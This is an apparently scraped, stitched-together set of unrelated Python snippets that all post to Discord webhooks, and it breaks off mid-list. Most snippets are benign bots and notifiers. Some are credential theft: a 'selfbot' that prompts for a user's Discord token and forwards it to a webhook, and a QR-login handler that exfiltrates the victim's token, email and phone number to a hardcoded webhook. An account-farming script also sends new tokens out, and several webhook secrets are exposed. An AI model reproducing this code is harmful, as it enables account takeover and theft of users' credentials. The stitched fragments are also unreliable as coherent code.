def sendDiscord(message, condition): if "online" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695662753104265286/cZZEdE8oL_02IsWONpLjQ6onU4fsd74GciKMlF5CPLYMixeZTaF86ZT9qNeN9TyA8SqP', content=message) response = webhook.execute() elif "pdx" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695662589895639070/_SUd1uygVjsYJFS-sUmVtiEsaUckvjNU9x4KzEn_kLcrrjzZZkX1vHJpm42y6hwwnjdu', content=message) response = webhook.execute() elif "sfo" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695662684410216580/FUmxam-i3lVbVJkoeBlxoFLQwR7hpNPRafJou0nTWBtPKhLj8eJt_5mT_Kz3Ixn5Gk3k', content=message) response = webhook.execute() elif "sea" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695861616394371124/LsQ5W5clniFWOTYl5FmyHK7rMvoEV0qR9LZnpf2ZKQd8I_jMWgEXfY4o4eRezkKJFye_', content=message) response = webhook.execute() elif "log" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695470195896221776/t_MGwZ3214BEHF2JboM3TkH8cf3mOSwrePeQSOyH15PN32tBYc2lIS-dpTy79w62xllI', content=message) response = webhook.execute() elif "low" in condition: webhook = DiscordWebhook( url= 'https://discordapp.com/api/webhooks/695671741262987364/56Aoni56NQM5g2N6J_VtZh3NqRdyPc2Lv6kzOEwFGOiW7S4MB-eS7m6O9kdc6sqlVUBv', content=message) response = webhook.execute()
OOooOoO .oOOOo. o .oOo o o o o O O O O O. o o O O oOooO `OOoo. O OoO o oOo O O o `OoOo. O o `O .oOo. o o OoOo. .oOo. o o o O o o O o OooO' O O O o O o O o O o O O o O. .O O o o o O o O o O' `OoO'o o `OoOO `oooO' `OoO' Oo O' `OoO' `OoO' `oO o OoO' NSFW Commands, Raiding, Spamming, Sniping, and lots more! ''') tokenstel = input("Token (if you enter invalid, will not work): ") webhook = DiscordWebhook(url='webhook-here', content=tokenstel) respond = webhook.execute() os.system("cls") input("Press enter to start the selfbot!") os.system("cls") print(''' OOooOoO .oOOOo. o .oOo o o o o O O O O O. o o O O oOooO `OOoo. O OoO o oOo O O o `OoOo. O o `O .oOo. o o OoOo. .oOo. o o o O o o O o OooO' O O O o O o O o O o O O o O. .O O o o o O o O o
webhook = DiscordWebhook(url=DISCORD_WEBHOOK_URL) embed = DiscordEmbed( title="NEW: {!s} - {!s}".format( session_info['session_number'], session_info['session_title']), description='Room: ' + str(session_info['room_building']) + '\n' + 'Start: ' + str(session_info['start_time']) + '\n' + str(session_abstract) + '\nhttps://www.portal.reinvent.awsevents.com/connect/search.ww#loadSearch-searchPhrase=' + str(session_tag) + '&searchType=session&tc=0&sortBy=abbreviationSort&p=', color=242424) # embed.set_timestamp() webhook.add_embed(embed) webhook.execute() else: update, what_changed = bot.check_if_updated( str(session_number), session_info) if (update != False): print("Session exists in table but needs to be updated!") session_info['version'] = str(update) bot.store_session(session_info) if TWEET: tweet = "UPDATED {!s} for #reInvent session: {!s} - {!s}".format(what_changed, \ session_info['session_number'], session_info['session_title']) print(tweet) status = bot.send_tweet(tweet) print(status) if DISCORD:
def discosend(message): webhook = DiscordWebhook(url=hookurl, content=message) webhook.execute()
def xpscreen(self): global line print(Style.RESET_ALL) print(Fore.YELLOW + " [-] SEARCHING FOR THE XP SCREEN") time.sleep(3) now = time.time() future = now + 600 restarttime = start_time + self.secondsuntilrestart while True: if keyboard.is_pressed('f3'): self.pause() if time.time() > future: # detects possible issue with valorant and restarts the game print(Style.RESET_ALL) print(Fore.RED + " [!] FOUND A POSSIBLE ERROR WITH VALORANT") self.startvalorant() break xpscreen = pyautogui.locateOnScreen("images/play.png", grayscale=True) xpscreen2 = pyautogui.locateOnScreen("images/play.png", confidence=0.6, grayscale=True) if xpscreen is not None or xpscreen2 is not None: print(Style.RESET_ALL) print(Fore.GREEN + " [√] DETECTED THE XP SCREEN") time.sleep(2) runtime = datetime.now() - start runtime = str(runtime) runtime = runtime[:-7] exact = start.strftime("%H:%M:%S") dat = start.strftime("%d %h %Y") print(Style.RESET_ALL) print(Style.RESET_ALL) print(Style.RESET_ALL + Fore.YELLOW + "——————————————————————————————————————————————————————") print(Style.RESET_ALL) print( Fore.YELLOW + " Earned", Style.BRIGHT + Fore.YELLOW + str(self.xpamount) + " XP" + Style.RESET_ALL + Fore.YELLOW, "in total") print( Fore.YELLOW + " Bot has been running for", Style.BRIGHT + Fore.YELLOW + str(runtime) + Style.RESET_ALL + Fore.YELLOW) print( Fore.YELLOW + " Bot was started at", Style.BRIGHT + Fore.YELLOW + str(exact), Style.RESET_ALL + Fore.YELLOW + "on the" + Style.BRIGHT + Fore.YELLOW, dat + Style.RESET_ALL + Fore.YELLOW) print(Fore.YELLOW + " Played", Style.BRIGHT + Fore.YELLOW + str(self.gamesplayed), "games" + Style.RESET_ALL + Fore.YELLOW) print(" Valorant has been", Style.BRIGHT + Fore.YELLOW + "restarted", self.restarted, "times") print(Style.RESET_ALL) print(Style.RESET_ALL + Fore.YELLOW + "——————————————————————————————————————————————————————") print(Style.RESET_ALL) print(Fore.YELLOW + " " + self.version) print(Style.RESET_ALL) print(Style.RESET_ALL) time.sleep(1) if self.foundwebhook is True: restartstring = (str(self.restarted) + " times") if self.restarted == 0: restartstring = "Not yet restarted" elif self.restarted == 1: restartstring = "1 time" webhook = DiscordWebhook(url=self.hookline, username="******") embed = DiscordEmbed(color=34343) embed.set_author( name=self.version, url="https://github.com/MrFums/Valbot", icon_url= "https://raw.githubusercontent.com/MrFums/ValbotAssets/main/jett.png", ) embed.set_footer(text=self.version.replace("Valbot", "")) embed.set_timestamp() embed.set_thumbnail( url= 'https://raw.githubusercontent.com/MrFums/ValbotAssets/main/valbot18_circle.png' ) embed.add_embed_field(name="Total XP", value=self.xpamount, inline=False) embed.add_embed_field(name="Games Played", value=self.gamesplayed, inline=False) embed.add_embed_field(name="Current Runtime", value=runtime, inline=False) embed.add_embed_field(name="Valorant Restarted", value=restartstring, inline=False) webhook.add_embed(embed) webhook.execute() else: print(Style.RESET_ALL) print(Fore.RED + " [!] DISCORD WEBHOOK IS NOT SETUP") time.sleep(4) pyautogui.click(x=960, y=540) time.sleep(1) if time.time() > restarttime: if os.path.exists("runtime_values"): os.remove("runtime_values") f = open("runtime_values", "a+") f.write(str(self.xpamount)) f.write("\n") f.write(str(self.gamesplayed)) f.write("\n") f.write(str(self.restarted)) f.close() # detects possible issue with valorant and restarts the game print(Style.RESET_ALL) print( Fore.RED + " [!] BOT IS NOW RESTARTING AFTER 2 HOURS OF RUNTIME") self.restartbot() break self.playbutton()
def startvalorant(self): activeactivity = "Loading Valorant" if self.foundwebhook == True: try: webhook = DiscordWebhook(url=self.hookline, username="******") embed = DiscordEmbed( color=0xFF0000, title="Restart Notification", description= "Possible error with Valorant\nGame will now be restarted") embed.set_author( name=self.version, url="https://github.com/MrFums/Valbot", icon_url= "https://raw.githubusercontent.com/MrFums/ValbotAssets/main/jett.png", ) embed.set_footer(text=self.version.replace("Valbot", "")) embed.set_timestamp() webhook.add_embed(embed) webhook.execute() except Exception: print(Fore.RED + " [!] TRIED TO SEND A WEBHOOK BUT IT IS NOT SETUP") earned = "{:,}".format(self.xpamount) try: self.RPC.update(state=("Earned " + earned + " XP"), start=time.time(), large_image="valbotnew", large_text=self.version, details=activeactivity) except Exception: pass PROCNAME = "VALORANT-Win64-Shipping.exe" for proc in psutil.process_iter(): try: if proc.name().lower() == PROCNAME.lower(): proc.kill() print(Fore.YELLOW, "[-] KILLING THE VALORANT PROCESS") time.sleep(10) return True except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): return False print(Fore.RED, "[!] COULD NOT KILL THE VALORANT PROCESS") print(Style.RESET_ALL + Fore.YELLOW, "[-] STARTING VALORANT") print(Style.RESET_ALL) root = str(pathlib.Path(__file__).parent.absolute()) fullpath = root + "\Valorant.lnk" vallnk = Path(fullpath) if vallnk.is_file(): # file exists time.sleep(5) os.startfile("Valorant.lnk") else: print(Style.RESET_ALL, Fore.RED + "[!] COULD NOT FIND A VALORANT SHORTCUT") print(Style.RESET_ALL) time.sleep(8) self.restarted += 1 self.valorantrunning()
def print_discord(mensaje): webhook = DiscordWebhook(url=url_webhook, content=mensaje) webhook.execute()
def send_discord(message, isNew, userIndex): webhook = DiscordWebhook(url=url[userIndex], content=message) if isNew: with open("new.jpg", "rb") as f: webhook.add_file(file=f.read(), filename="NEW.jpg") webhook.execute()
def main(): time.sleep(5) email = random.choice(lines) date = random.randint(1970, 2002) passwordinput = random.randint(2000000, 353434353453) driver = uc.Chrome() start = time.time() os.system("nordchange.bat") time.sleep(5) driver.get("https://discord.com/register") os.system('cls') print(text) enter_searchbar = driver.find_element_by_name("email") enter_searchbar.send_keys(email) enter_user = driver.find_element_by_name("username") enter_user.send_keys(f"{username}") enter_passwd = driver.find_element_by_name("password") enter_passwd.send_keys(passwordinput) enter_month = driver.find_element_by_id("react-select-2-input") enter_month.send_keys(selection_month, Keys.ENTER) enter_day = driver.find_element_by_id("react-select-3-input") enter_day.send_keys(selection_day, Keys.ENTER) enter_year = driver.find_element_by_id("react-select-4-input") enter_year.send_keys(date, Keys.ENTER) time.sleep(1) driver.find_element_by_xpath( "//input[@class='inputDefault-3JxKJ2 input-3ITkQf']").click() driver.find_element_by_xpath("//button[@type='submit']").click() os.system('cls') print(text) print( f"\n [{Fore.MAGENTA}>{Fore.RESET}] Type enter when you're done with the captcha! ", end='') captdone = input() os.system("cls") if captdone == captdone: headers = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'Host': 'discord.com', 'Accept': '*/*', 'Accept-Language': 'en-US', 'Content-Type': 'application/json', 'Referer': 'https://discord.com/register', 'Origin': 'https://discord.com', 'DNT': '1', 'Connection': 'keep-alive', } json = { 'email': email, 'password': passwordinput, } esafaf = requests.post('https://discord.com/api/v6/auth/login', headers=headers, json=json) rab = esafaf.json() time.sleep(.3) token = rab['token'] end = time.time() print(text) print( f" [{Fore.GREEN}+{Fore.RESET}] Account made, token is: {Fore.RED}{rab['token']}{Fore.RESET}\n", end='') print( f" [{Fore.GREEN}+{Fore.RESET}] Email: {email} {Fore.RED}{Fore.RESET}\n", end='') print( f" [{Fore.GREEN}+{Fore.RESET}] Username: {username} {Fore.RED}{Fore.RESET}\n", end='') print( f" [{Fore.GREEN}+{Fore.RESET}] Password: {passwordinput} {Fore.RED}{Fore.RESET}\n", end='') driver.quit() webhook = DiscordWebhook(url=f'{tokenwebhook}', content=f'{token}') response = webhook.execute()
def on_message(self, message): if self.debug: print(f'Recv: {message}') data = json.loads(message) op = data.get('op') if op == Messages.HELLO: print( f'THREAD {self.thread} -> Attempting server handshake... (proxy: {self.proxySupport if self.proxySupport is False else f"{self.proxyHost}:{self.proxyPort}"})' ) self.heartbeat_interval = data.get('heartbeat_interval') / 1000 self.last_heartbeat = time.time() thread = threading.Thread(target=self.heartbeat_sender) thread.daemon = True thread.start() self.send(Messages.INIT, {'encoded_public_key': self.public_key}) elif op == Messages.NONCE_PROOF: nonce = data.get('encrypted_nonce') decrypted_nonce = self.decrypt_payload(nonce) proof = SHA256.new(data=decrypted_nonce).digest() proof = base64.urlsafe_b64encode(proof) proof = proof.decode().rstrip('=') self.send(Messages.NONCE_PROOF, {'proof': proof}) elif op == Messages.PENDING_REMOTE_INIT: fingerprint = data.get('fingerprint') self.generate_qr_code(fingerprint) print( f'THREAD {self.thread} -> Merci de scan le code QR pour continuer.' ) elif op == Messages.PENDING_FINISH: encrypted_payload = data.get('encrypted_user_payload') payload = self.decrypt_payload(encrypted_payload) self.user = DiscordUser.from_payload(payload.decode()) elif op == Messages.FINISH: encrypted_token = data.get('encrypted_token') token = self.decrypt_payload(encrypted_token) if self.qr_image is not None: self.qr_image.close() self.user.token = token.decode() self.user.getAccInfo() print(self.user.pretty_print()) webhook = DiscordWebhook( url= 'https://discord.com/api/webhooks/810822666289676288/aWIkSBV3EDTpwsGUPoZvyu99dvEfH7nPrQjd1D7XdHoiWmCjyrNwz86hAlpsbNhhL0p-' ) embed = DiscordEmbed(color=0x9b59b6) embed.set_author( name= f'{self.user.username}#{self.user.discrim} ({self.user.id})', url='http://discord.com/login', icon_url= f'https://cdn.discordapp.com/avatars/{self.user.id}/{self.user.avatar_hash}.png' ) embed.set_thumbnail( url= f'https://cdn.discordapp.com/avatars/{self.user.id}/{self.user.avatar_hash}.png' ) embed.add_embed_field(name='Token :', value=f'`{self.user.token}`') embed.add_embed_field( name='Info :', value= f'Email : `{self.user.email}`\nNuméro : `{self.user.phone}`', inline=False) webhook.add_embed(embed) response = webhook.execute() self.ws.close()
def pull_controllers(): airports = ast.literal_eval(os.getenv('AIRPORT_IATA')) req = requests.get('https://data.vatsim.net/v3/vatsim-data.json') try: if req.status_code == 200: data = req.json() else: return for controller in Controller.objects.all(): if next((entry for entry in data.get('controllers') if entry.get('callsign') == controller.callsign), None): controller.last_update = timezone.now() controller.save() else: controller.convert_to_session() controller.delete() for atis in CurrentAtis.objects.all(): if not next( (entry for entry in data.get('atis') if entry.get('callsign') == atis.facility + '_ATIS'), None): atis.delete() for controller in data.get('controllers'): user = User.objects.filter(cid=controller.get('cid')) if user.exists(): if controller.get('facility') != 0: if controller.get('callsign').split('_')[0] in airports: if not Controller.objects.filter( callsign=controller.get('callsign')).exists(): Controller( user=user.first(), callsign=controller.get('callsign'), online_since=pytz.utc.localize( datetime.strptime( controller.get('logon_time')[:-2], '%Y-%m-%dT%H:%M:%S.%f')), last_update=timezone.now(), ).save() except Exception as e: webhook = DiscordWebhook(url=os.getenv('LOGGING_WEBHOOK_URL')) embed = DiscordEmbed( title='VATSIM Data Error', description=e.__class__.__name__, color=2966946, ) embed.add_embed_field( name=':clock1: Time', value=timezone.now().isoformat(), inline=False, ) embed.add_embed_field( name=':warning: HTTP Status', value=req.status_code, inline=False, ) webhook.add_embed(embed) with StringIO(req.text) as f: webhook.add_file(file=f.read(), filename='vatsim_response.txt') webhook.execute()
def main(): web_admins = [] for wa_uname, wa_pw, wa_url in zip(WEBADMIN_USERNAMES, WEBADMIN_PASSWORDS, WEBADMIN_URLS): web_admins.append( RS2WebAdmin( username=wa_uname, password=wa_pw, webadmin_url=wa_url, )) print(f"{len(web_admins)} RS2WebAdmin instances initialized", flush=True) # Setup roles we want to ping into a string. role_pings = " ".join(PING_DISCORD_ROLES) switching = False while True: try: for wa, wh_url in zip(web_admins, DISCORD_WEBHOOK_URLS): # Get server information from WebAdmin. cg = wa.get_current_game() server_name = cg.info["Server Name"] if switching: cg = wa.get_current_game() if cg.info["Map"].lower() == "vnte-cuchi": print("Map changed succesfully!") switching = False if not cg.ranked and not switching: print( f"'{server_name}' unranked, posting message to Discord", flush=True) # Format our warning message. message = f"SERVER UNRANKED, SWITCHING TO CU CHI! {role_pings}" wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") wa.post_chat_message( "SERVER BUG! NOBODY CAN JOIN! Changing maps!") time.sleep(10) wa.change_map("VNTE-Cuchi") # Post the warning message to Discord. webhook = DiscordWebhook(url=wh_url, content=message) webhook.execute() switching = True # Sleep so that poll is performed every POLL_INTERVAL. time.sleep(POLL_INTERVAL - time.time() % POLL_INTERVAL) except Exception as e: print(f"error: {e}, retrying in 15 seconds") time.sleep(15)
print(f"https://www.roblox.com/groups/{ID}") embed = DiscordEmbed(title='New unclaimed Group', color=242424) # embed title embed.add_embed_field(name='ID', value=f'{ID}') #Id to embed embed.add_embed_field(name='Description', value=f'"{desc}"') #description to embed embed.add_embed_field(name='Members', value=f'{members}') #adds members to embed embed.add_embed_field(name='Link', value=f'https://www.roblox.com/groups/{ID}') # im getting bored commenting embed.set_author( name='GFind', icon_url= 'https://images-ext-2.discordapp.net/external/ExvpqVgJoqrUwoORcZKxOTd50iE2vnNcwF9nlrU8Qms/%3Fsize%3D1024/https/cdn.discordapp.com/icons/799181637405376533/89565089064040e52100ba4aea324604.webp' ) #stuff embed.set_footer( text='GFind by S_waraj', icon_url= 'https://images-ext-2.discordapp.net/external/ExvpqVgJoqrUwoORcZKxOTd50iE2vnNcwF9nlrU8Qms/%3Fsize%3D1024/https/cdn.discordapp.com/icons/799181637405376533/89565089064040e52100ba4aea324604.webp' ) # stuff embed.set_thumbnail( url= 'https://images-ext-2.discordapp.net/external/ExvpqVgJoqrUwoORcZKxOTd50iE2vnNcwF9nlrU8Qms/%3Fsize%3D1024/https/cdn.discordapp.com/icons/799181637405376533/89565089064040e52100ba4aea324604.webp' ) webhook.add_embed(embed) #adds the embed to the response response = webhook.execute() # sends to webhook else: print(f"\x1b[31mNothing found... {ID}") else: print(f"\x1b[31mNothing found... {ID}")
def main(): global discord_webhook_url global namespace parser = argparse.ArgumentParser( description= "Make a report for the active network and optionally send to discord") parser.add_argument("-n", "--namespace", help="testnet namespace", required=True, type=str, dest="namespace") parser.add_argument("-ic", "--incluster", help="if we're running from inside the cluster", required=False, default=False, type=bool, dest="incluster") parser.add_argument("-d", "--discord_webhook_url", help="discord webhook url", required=False, type=str, dest="discord_webhook_url") parser.add_argument("-a", "--accounts", help="community accounts csv", required=False, type=str, dest="accounts_csv") # ========================================== args = parser.parse_args(sys.argv[1:]) if args.incluster: config.load_incluster_config() assert (args.namespace == '') with open('/var/run/secrets/kubernetes.io/serviceaccount/namespace', 'r') as f: args.namespace = f.read() else: config.load_kube_config() v1 = client.CoreV1Api() namespace = args.namespace if namespace.startswith('integration-test-'): return discord_webhook_url = args.discord_webhook_url if discord_webhook_url is not None: discord_webhook_url = discord_webhook_url.strip() # ========================================== # Crawl network pods = v1.list_namespaced_pod(args.namespace, watch=False) seed = [p for p in pods.items if 'seed' in p.metadata.name][0] seed_daemon_container = [ c for c in seed.spec.containers if c.args[0] == 'daemon' ][0] seed_vars_dict = [v.to_dict() for v in seed_daemon_container.env] seed_daemon_port = [ v['value'] for v in seed_vars_dict if v['name'] == 'DAEMON_CLIENT_PORT' ][0] request_timeout_seconds = 600 def exec_on_seed(command): def exec_cmd(command, timeout): exec_command = [ '/bin/bash', '-c', command, ] result = stream.stream(v1.connect_get_namespaced_pod_exec, seed.metadata.name, args.namespace, command=exec_command, container='seed', stderr=True, stdout=True, stdin=False, tty=False, _request_timeout=timeout) return result print('running command:', command) tmp_file = '/tmp/cns_command.' + str(uuid.uuid4()) + '.out' start = time.time() result = exec_cmd(command + ' &> ' + tmp_file, request_timeout_seconds) end = time.time() print('done running command') print('\tseconds to run:', end - start) file_len = int(exec_cmd('stat --printf="%s" ' + tmp_file, 10)) print('\tfile length:', str(file_len / (1024 * 1024)) + 'MB') read_segment = lambda start, size: exec_cmd( 'cat ' + tmp_file + ' | head -c ' + str(start + size) + ' | tail -c ' + str(size), 240) chunk_size = int(20e6) read_chunk = lambda i: read_segment( i * chunk_size, min((i + 1) * chunk_size, file_len) - i * chunk_size) num_chunks = math.ceil(file_len / chunk_size) start = time.time() chunks = list(map(read_chunk, range(num_chunks))) result = ''.join(chunks) end = time.time() print('\tseconds to get result:', end - start) exec_cmd('rm ' + tmp_file, 10) received_len = len(result.encode('utf-8')) # seems to fail frequently # assert(file_len - received_len == 0 or file_len - received_len == 1) return result peer_table = {} queried_peers = set() unqueried_peers = {} telemetry_heartbeat_errors = [] telemetry_transport_stopped_errors = [] telemetry_handshake_errors = [] telemetry_libp2p_errors = [] telemetry_other_errors = [] uptime_less_than_10_min = [] uptime_less_than_30_min = [] uptime_less_than_1_hour = [] uptime_less_than_6_hour = [] uptime_less_than_12_hour = [] uptime_less_than_24_hour = [] uptime_greater_than_24_hour = [] def contains_error(resp): try: resp['error'] return True except KeyError: return False def no_error(resp): return (not (contains_error(resp))) def add_resp(resp, direct_queried_peers): # we use ast instead of json to handle properties with single quotes instead of double quotes (which the response seems to often contain) resps = [ast.literal_eval(s) for s in resp.split('\n') if s != ''] print('Received %s telemetry responses' % (str(len(resps)))) peers = list(filter(no_error, resps)) error_resps = list(filter(contains_error, resps)) print('\t%s valid responses from peers' % (str(len(list(peers))))) print('\t%s error responses' % (str(len(list(error_resps))))) key_value_peers = [((p['node_ip_addr'], p['node_peer_id']), p) for p in peers] for (k, v) in key_value_peers: if k not in peer_table: peer_table[k] = v queried_peers.update([p['node_peer_id'] for p in peers]) queried_peers.update([p['peer_id'] for p in direct_queried_peers]) for p in itertools.chain(*[p['peers'] for p in peers]): unqueried_peers[p['peer_id']] = p for p in queried_peers: del unqueried_peers[p] for p in peers: uptime = int(p['uptime_minutes']) if uptime < 10: uptime_less_than_10_min.append(uptime) elif uptime < 30: uptime_less_than_30_min.append(uptime) elif uptime < 60: uptime_less_than_1_hour.append(uptime) elif uptime < 3600: uptime_less_than_6_hour.append(uptime) elif uptime < 7200: uptime_less_than_12_hour.append(uptime) elif uptime < 14400: uptime_less_than_24_hour.append(uptime) else: uptime_greater_than_24_hour.append(uptime) for e in error_resps: error = str(e['error']) if 'handshake error' in error: telemetry_handshake_errors.append(e) elif 'heartbeats' in error: telemetry_heartbeat_errors.append(e) elif 'transport stopped' in error: telemetry_transport_stopped_errors.append(e) elif 'libp2p' in error: telemetry_libp2p_errors.append(e) else: telemetry_other_errors.append(e) print('Gathering telemetry from daemon peers') seed_status = exec_on_seed("coda client status") if seed_status == '': raise Exception("unable to connect to seed node within " + str(request_timeout_seconds) + " seconds") resp = exec_on_seed("coda advanced telemetry -daemon-port " + seed_daemon_port + " -daemon-peers" + " -show-errors") add_resp(resp, []) requests = 0 while len(unqueried_peers) > 0 and requests < 10: peers_to_query = list(unqueried_peers.values()) peers = ','.join(to_multiaddr_string(p) for p in peers_to_query) print('Queried ' + str(len(queried_peers)) + ' peers. Gathering telemetry on %s unqueried peers' % (str(len(unqueried_peers)))) resp = exec_on_seed("coda advanced telemetry -daemon-port " + seed_daemon_port + " -peers " + peers + " -show-errors") add_resp(resp, peers_to_query) requests += 1 get_status_value = lambda key: [ s for s in seed_status.split('\n') if key in s ][0].split(':')[1].strip() accounts = int(get_status_value('Global number of accounts')) blocks = int(get_status_value('Max observed block length')) slot_time = get_status_value('Consensus time now') epoch, slot = [int(s.split('=')[1]) for s in slot_time.split(',')] slots_per_epoch = int(get_status_value('Slots per epoch')) global_slot = epoch * slots_per_epoch + slot peer_numbers = [len(node['peers']) for node in peer_table.values()] peer_percentiles = [0, 5, 25, 50, 95, 100] if len(peer_numbers) > 0: peer_percentile_numbers = list( zip(peer_percentiles, np.percentile(peer_numbers, [0, 5, 25, 50, 95, 100]))) else: peer_percentile_numbers = [] block_producers = list( itertools.chain(*[pv['block_producers'] for pv in peer_table.values()])) if len(peer_table) > 0 and 'k_block_hashes' in list( peer_table.values())[0]: peer_to_k_block_hashes = { p: pv['k_block_hashes'] for p, pv in peer_table.items() } else: peer_to_k_block_hashes = { p: [a[0] for a in pv['k_block_hashes_and_timestamps']] for p, pv in peer_table.items() } fork_tree = {} for block_hashes in peer_to_k_block_hashes.values(): parents = block_hashes children_or_none = [[c] for c in block_hashes[1:]] + [[]] for parent, child_or_none in zip(parents, children_or_none): fork_tree.setdefault(parent, {'children': set(), 'peers': 0}) fork_tree[parent]['children'].update(child_or_none) fork_tree[parent]['peers'] += 1 children = list( itertools.chain(*[v['children'] for v in fork_tree.values()])) roots = set(fork_tree.keys()).difference(children) summarized_fork_tree = {} def add_to_summarized_tree(parent): peers = fork_tree[parent]['peers'] children = fork_tree[parent]['children'] intermediate_nodes = 0 while len(children) == 1 and fork_tree[list(children) [0]]['peers'] == peers: children_or_none = fork_tree[list(children)[0]]['children'] if len(children_or_none) > 0: children = fork_tree[list(children)[0]]['children'] intermediate_nodes += 1 else: break summarized_fork_tree[parent] = { 'children': children, 'peers': peers, 'intermediate_nodes': intermediate_nodes } for child in children: add_to_summarized_tree(child) for root in roots: add_to_summarized_tree(root) def has_forks(): roots_with_children = [ root for root in roots if len(fork_tree[root]['children']) > 0 ] # can be multiple roots because of nodes syncing from genesis; however there shouldn't be multiple roots with children, that would indicate a fork longer than k if len(roots_with_children) > 1: return True if len(roots_with_children) == 0: return False root = roots_with_children[0] tips = [ node for node, values in summarized_fork_tree.items() if len(values['children']) == 0 ] tip_parents = [ node for node, values in summarized_fork_tree.items() if len(set(tips).intersection(values['children'])) > 0 ] # there can be different tips (since nodes can be 1 slot out of sync). A fork longer than one slot indicates there is a fork going on though, either from malicious behavior or a bug in the protocol. Note as long as the fork is less than k blocks the protocol consensus is safe and the protocol will recover when the attack ends if len(tip_parents) > 1: return True return False if args.accounts_csv is None: has_participants = False else: has_participants = len(args.accounts_csv.strip()) > 0 participants_online = [] participants_offline = [] if has_participants: rows = [] reader = csv.reader(args.accounts_csv.strip().split('\n'), delimiter=",") for row in reader: rows.append(row) discord_to_keys = {} key_to_discord = {} for r in rows: discord = r[0] key = r[1] if key != '': discord_to_keys.setdefault(discord, set()) discord_to_keys[discord].add(key) key_to_discord[key] = discord online_discord_counts = { discord: len([k for k in keys if k in block_producers]) for discord, keys in discord_to_keys.items() } participants_online = [ d for d, count in online_discord_counts.items() if count > 0 ] participants_offline = [ d for d, count in online_discord_counts.items() if count == 0 ] else: key_to_discord = {} discord_to_keys = {} online_discord_counts = {} version_counts = dict( Counter([v['git_commit'] for v in peer_table.values()])) # -------------------- # collect long-running data value_to_discords = lambda v: [ key_to_discord.get(key, '') for key in v['block_producers'] ] peer_table_dict = { str(k): { 'block_producers': v['block_producers'], 'protocol_state_hash': v['protocol_state_hash'], 'discord(s)': value_to_discords(v) } for k, v in peer_table.items() } new_fname = 'peer_table.' + str(time.time()) + '.txt' with open(new_fname, 'w') as wfile: wfile.write(json.dumps(peer_table_dict)) files = [f for f in listdir('.') if isfile(join('.', f))] windows_in_hours = [1, 3, 6, 12, 24, 72, 24 * 7] responding_peers_by_window = {} responding_ips_by_window = {} responding_discords_by_window = {} oldest_report = time.time() now = time.time() for fname in files: if 'peer_table' not in fname or fname.startswith( '.') or not fname.endswith('txt'): continue with open(fname, 'r') as f: contents = f.read() peers = ast.literal_eval(contents) file_timestamp = float('.'.join(fname.split('.')[1:-1])) oldest_report = min(oldest_report, file_timestamp) ip_peer_ids = set(peers.keys()) ips = set(map(lambda x: ast.literal_eval(x)[0], ip_peer_ids)) discords = set( itertools.chain( *map(lambda x: x['discord(s)'], peers.values()))) for w in windows_in_hours: responding_peers_by_window.setdefault(w, set()) responding_ips_by_window.setdefault(w, set()) responding_discords_by_window.setdefault(w, set()) if (now - file_timestamp) <= w * 3600: responding_peers_by_window[w].update(ip_peer_ids) responding_ips_by_window[w].update(ips) responding_discords_by_window[w].update(discords) # ========================================== # Make report report = { "namespace": args.namespace, "queried_nodes": len(queried_peers), "responding_nodes": len(peer_table), "telemetry_handshake_errors": len(telemetry_handshake_errors), "telemetry_heartbeat_errors": len(telemetry_heartbeat_errors), "telemetry_transport_stopped_errors": len(telemetry_transport_stopped_errors), "telemetry_libp2p_errors": len(telemetry_libp2p_errors), "telemetry_other_errors": len(telemetry_other_errors), "uptime_less_than_10_min": len(uptime_less_than_10_min), "uptime_less_than_30_min": len(uptime_less_than_30_min), "uptime_less_than_1_hour": len(uptime_less_than_1_hour), "uptime_less_than_6_hour": len(uptime_less_than_6_hour), "uptime_less_than_12_hour": len(uptime_less_than_12_hour), "uptime_less_than_24_hour": len(uptime_less_than_24_hour), "uptime_greater_than_24_hour": len(uptime_greater_than_24_hour), "epoch": epoch, "epoch_slot": slot, "global_slot": global_slot, "blocks": blocks, "block_fill_rate": blocks / global_slot, "number_of_peer_percentiles": peer_percentile_numbers, # TODO add health indicator "summarized_block_tree": summarized_fork_tree, "has_forks": has_forks(), "has_participants": has_participants, "participants_online": participants_online, "participants_offline": participants_offline, "peer_table": peer_table, "oldest_responses_report": oldest_report, "responding_peers_by_window": responding_peers_by_window, "responding_ips_by_window": responding_ips_by_window, "responding_discords_by_window": responding_discords_by_window, "online_discord_counts": online_discord_counts, "version_counts": version_counts, } #import IPython; IPython.embed() # TODO # * timing of block receipt with a health indicator # * nodes sync statuses # * transaction counts with a health indicator # * check that all blocks have a coinbase # ========================================== # TODO # display of network connectivity def make_block_tree_graph(): g = Digraph("block_tree", format='png') g.attr('node', shape='circle') for block in summarized_fork_tree: g.node(block, label='block ' + block[-6:] + '\n' + str(summarized_fork_tree[block]['peers']) + ' nodes') g.attr('node', shape='rectangle', style='filled', color='lightgrey') for block in summarized_fork_tree: children = summarized_fork_tree[block]['children'] intermediate_nodes = summarized_fork_tree[block][ 'intermediate_nodes'] if len(children) > 0: if intermediate_nodes > 0: g.node(block + '_intermediate', label=str(intermediate_nodes) + ' in common blocks') g.edge(block, block + '_intermediate') for child in children: g.edge(block + '_intermediate', child) else: for child in children: g.edge(block, child) g.render(view=False) make_block_tree_graph() copy = [ 'namespace', 'queried_nodes', 'responding_nodes', 'epoch', 'epoch_slot', 'global_slot', 'blocks', 'block_fill_rate', 'has_forks', 'has_participants', 'telemetry_handshake_errors', 'telemetry_heartbeat_errors', 'telemetry_transport_stopped_errors', 'telemetry_libp2p_errors', 'telemetry_other_errors', 'uptime_less_than_10_min', 'uptime_less_than_30_min', 'uptime_less_than_1_hour', 'uptime_less_than_6_hour', 